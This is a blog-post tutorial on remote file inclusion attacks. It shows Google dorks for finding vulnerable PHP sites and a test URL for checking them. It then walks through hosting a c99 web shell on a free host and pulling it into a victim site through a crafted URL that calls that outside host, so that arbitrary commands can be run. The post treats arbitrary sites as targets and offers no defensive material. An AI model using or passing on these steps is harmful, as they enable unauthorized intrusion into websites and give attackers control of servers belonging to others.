Subscribe by RSS RSS Icon
Follow me on Twitter Twitter Icon

Website Hacking with Remote File Inclusion

Remote File Inclusion

Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.

First of all we need to find a vulnerable website. We can use the following google dork to search for us:

"inurl:index.php?page="
"inurl:index.php?id="

This will show all the pages which has “index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command

www.victim.com/index.php?page=http://www.facebook.com


If after executing the command the homepage of Facebook shows up then the website is vulnerable to this attack, if it does not come up then you should look for a new target.

Once we know that the website is vulnerable to the attack we will now include the c99 shell. To do this download the c99 shell and then upload it to a webhosting site such as ripway.com, 110mb.com etc.

You can download the c99 here:

Once the shell is uploaded you will have a unique url for your shell lets say it is

www.webhostingsite.com/c99.txt

Now here is how a hacker would execute the following command to gain access.

http://www.victim.com/index.php?page=http://www.webhostingsite.com/c99.txt?

Remember to add “?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.

1 comments:

livescore said...

Small towns whichผลบอล scattered around the perimeter of the big cities in Europe, would upset for tourists town ผลบอลสดthe inherent idea.

 
Copyright Info.

Only for my personal reference. I do not own any of these materials here. Use it at your own risk!

XHTML/CSS validations
Valid XHTML 1.0 Transitional Valid CSS!